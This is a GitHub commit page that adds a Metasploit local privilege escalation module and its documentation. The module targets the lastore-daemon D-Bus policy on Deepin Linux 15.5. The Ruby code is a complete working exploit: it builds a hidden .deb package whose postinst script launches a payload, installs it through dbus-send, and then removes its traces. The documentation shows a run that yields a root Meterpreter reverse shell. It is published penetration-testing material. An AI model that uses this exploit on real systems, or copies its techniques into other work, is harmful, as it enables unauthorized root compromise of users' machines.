Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #9756, Add lastore-daemon D-Bus Privilege Escalation exploit
Merge branch 'land-9756' into upstream-master
- Loading branch information
1 parent
abfcdc3
commit a44bcff
Showing
2 changed files
with
273 additions
and
0 deletions.
There are no files selected for viewing
101 changes: 101 additions & 0 deletions
101
documentation/modules/exploit/linux/local/lastore_daemon_dbus_priv_esc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,101 @@ | ||
## Description | ||
|
||
This module attempts to gain root privileges on [Deepin Linux](https://www.deepin.org/en/) systems | ||
by using `lastore-daemon` to install a package. It may cause audio and/or graphical signals confirming | ||
the installation of the payload package. | ||
|
||
|
||
## Vulnerable Application | ||
|
||
The `lastore-daemon` D-Bus configuration on Deepin Linux 15.5 permits any | ||
user in the `sudo` group to install arbitrary system packages without | ||
providing a password, resulting in code execution as root. By default, | ||
the first user created on the system is a member of the `sudo` group. | ||
|
||
The D-Bus configuration in `/usr/share/dbus-1/system.d/com.deepin.lastore.conf` | ||
permits users of the `sudo` group to execute arbitrary methods on the | ||
`com.deepin.lastore` interface, as shown below: | ||
|
||
```xml | ||
<!-- Only root can own the service --> | ||
<policy user="root"> | ||
<allow own="com.deepin.lastore"/> | ||
<allow send_destination="com.deepin.lastore"/> | ||
</policy> | ||
|
||
<!-- Allow sudo group to invoke methods on the interfaces --> | ||
<policy group="sudo"> | ||
<allow own="com.deepin.lastore"/> | ||
<allow send_destination="com.deepin.lastore"/> | ||
</policy> | ||
``` | ||
|
||
This module has been tested successfully with lastore-daemon version | ||
0.9.53-1 on Deepin Linux 15.5 (x64). | ||
|
||
Deepin Linux is available here: | ||
|
||
* https://www.deepin.org/en/mirrors/releases/ | ||
|
||
`lastore-daemon` source repository is available here: | ||
|
||
* https://cr.deepin.io/#/admin/projects/lastore/lastore-daemon | ||
* https://github.com/linuxdeepin/lastore-daemon/ | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Get a session | ||
3. `use exploit/linux/local/lastore_daemon_dbus_priv_esc` | ||
4. `set SESSION [SESSION]` | ||
5. `check` | ||
6. `run` | ||
7. You should get a new *root* session | ||
|
||
|
||
## Options | ||
|
||
**SESSION** | ||
|
||
Which session to use, which can be viewed with `sessions` | ||
|
||
**WritableDir** | ||
|
||
A writable directory file system path. (default: `/tmp`) | ||
|
||
|
||
## Scenarios | ||
|
||
``` | ||
msf > use exploit/linux/local/lastore_daemon_dbus_priv_esc | ||
msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > set session 1 | ||
session => 1 | ||
msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > run | ||
[!] SESSION may not be compatible with this module. | ||
[*] Started reverse TCP handler on 172.16.191.188:4444 | ||
[*] Building package... | ||
[*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/control' (98 bytes) ... | ||
[*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/postinst' (28 bytes) ... | ||
[*] Uploading payload... | ||
[*] Writing '/tmp/.1sZZ46ozIH' (207 bytes) ... | ||
[*] Installing package... | ||
[*] Sending stage (857352 bytes) to 172.16.191.200 | ||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.200:51464) at 2018-03-24 18:45:29 -0400 | ||
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/control | ||
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/postinst | ||
[+] Deleted /tmp/.1sZZ46ozIH | ||
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN | ||
[*] Removing package... | ||
meterpreter > getuid | ||
Server username: uid=0, gid=0, euid=0, egid=0 | ||
meterpreter > sysinfo | ||
Computer : 172.16.191.200 | ||
OS : Deepin 15.5 (Linux 4.9.0-deepin13-amd64) | ||
Architecture : x64 | ||
BuildTuple : i486-linux-musl | ||
Meterpreter : x86/linux | ||
``` | ||
|
172 changes: 172 additions & 0 deletions
172
modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,172 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Post::Linux::Priv | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'lastore-daemon D-Bus Privilege Escalation', | ||
'Description' => %q{ | ||
This module attempts to gain root privileges on Deepin Linux systems | ||
by using lastore-daemon to install a package. | ||
The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any | ||
user in the sudo group to install arbitrary system packages without | ||
providing a password, resulting in code execution as root. By default, | ||
the first user created on the system is a member of the sudo group. | ||
This module has been tested successfully with lastore-daemon version | ||
0.9.53-1 on Deepin Linux 15.5 (x64). | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
"King's Way", # Discovery and exploit | ||
'Brendan Coles' # Metasploit | ||
], | ||
'DisclosureDate' => 'Feb 2 2016', | ||
'References' => | ||
[ | ||
[ 'EDB', '39433' ], | ||
[ 'URL', 'https://gist.github.com/bcoles/02aa274ce32dc350e34b6d4d1ad0e0e8' ], | ||
], | ||
'Platform' => 'linux', | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'DefaultTarget' => 0)) | ||
register_options([ | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) | ||
]) | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'] | ||
end | ||
|
||
def mkdir(path) | ||
vprint_status "Creating '#{path}' directory" | ||
cmd_exec "mkdir -p #{path}" | ||
register_dir_for_cleanup path | ||
end | ||
|
||
def upload(path, data) | ||
print_status "Writing '#{path}' (#{data.size} bytes) ..." | ||
rm_f path | ||
write_file path, data | ||
register_file_for_cleanup path | ||
end | ||
|
||
def upload_and_chmodx(path, data) | ||
upload path, data | ||
cmd_exec "chmod +x '#{path}'" | ||
end | ||
|
||
def command_exists?(cmd) | ||
cmd_exec("command -v #{cmd} && echo true").include? 'true' | ||
end | ||
|
||
def dbus_priv? | ||
res = install_package '', '' | ||
(res.include? 'DBus.Error.AccessDenied') ? false : true | ||
end | ||
|
||
def install_package(name, path) | ||
dbus_send dest: 'com.deepin.lastore', | ||
type: 'method_call', | ||
path: '/com/deepin/lastore', | ||
interface: 'com.deepin.lastore.Manager.InstallPackage', | ||
contents: "string:'#{name}' string:'#{path}'" | ||
end | ||
|
||
def remove_package(name) | ||
dbus_send dest: 'com.deepin.lastore', | ||
type: 'method_call', | ||
path: '/com/deepin/lastore', | ||
interface: 'com.deepin.lastore.Manager.RemovePackage', | ||
contents: "string:' ' string:'#{name}'" | ||
end | ||
|
||
def dbus_send(dest:, type:, path:, interface:, contents:) | ||
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}" | ||
end | ||
|
||
def check | ||
%w(lastore-daemon dpkg-deb dbus-send).each do |cmd| | ||
unless command_exists? cmd | ||
vprint_error "#{cmd} is not installed. Exploitation will fail." | ||
return CheckCode::Safe | ||
end | ||
vprint_good "#{cmd} is installed" | ||
end | ||
|
||
unless dbus_priv? | ||
vprint_error 'User is not permitted to install packages. Exploitation will fail.' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'User is permitted to install packages' | ||
|
||
CheckCode::Appears | ||
end | ||
|
||
def exploit | ||
if is_root? | ||
fail_with Failure::BadConfig, 'Session already has root privileges' | ||
end | ||
|
||
if check != CheckCode::Appears | ||
fail_with Failure::NotVulnerable, 'Target is not vulnerable' | ||
end | ||
|
||
print_status 'Building package...' | ||
|
||
payload_name = ".#{rand_text_alphanumeric rand(10..15)}" | ||
payload_path = "#{base_dir}/#{payload_name}" | ||
pkg_name = rand_text_alphanumeric rand(10..15) | ||
pkg_path = "#{base_dir}/.#{pkg_name}" | ||
|
||
mkdir "#{pkg_path}/DEBIAN" | ||
pkg = "Package: #{pkg_name}\n" | ||
pkg << "Version: 0.1\n" | ||
pkg << "Maintainer: #{pkg_name}\n" | ||
pkg << "Architecture: all\n" | ||
pkg << "Description: #{pkg_name}\n" | ||
upload "#{pkg_path}/DEBIAN/control", pkg | ||
upload_and_chmodx "#{pkg_path}/DEBIAN/postinst", "#!/bin/sh\n#{payload_path} &" | ||
|
||
cmd_exec "dpkg-deb --build '#{pkg_path}'" | ||
|
||
unless file_exist? "#{pkg_path}.deb" | ||
fail_with Failure::Unknown, 'Building package failed' | ||
end | ||
|
||
print_status 'Uploading payload...' | ||
upload_and_chmodx payload_path, generate_payload_exe | ||
|
||
print_status 'Installing package...' | ||
res = install_package pkg_name, "#{pkg_path}.deb" | ||
vprint_line res | ||
|
||
unless res.include? 'object path' | ||
fail_with Failure::Unknown, 'Package installation failed. Check /var/log/lastore/daemon.log' | ||
end | ||
|
||
Rex.sleep 15 | ||
|
||
print_status 'Removing package...' | ||
res = remove_package pkg_name.downcase | ||
vprint_line res | ||
|
||
unless res.include? 'object path' | ||
print_warning 'Package removal failed. Check /var/log/lastore/daemon.log' | ||
end | ||
end | ||
end |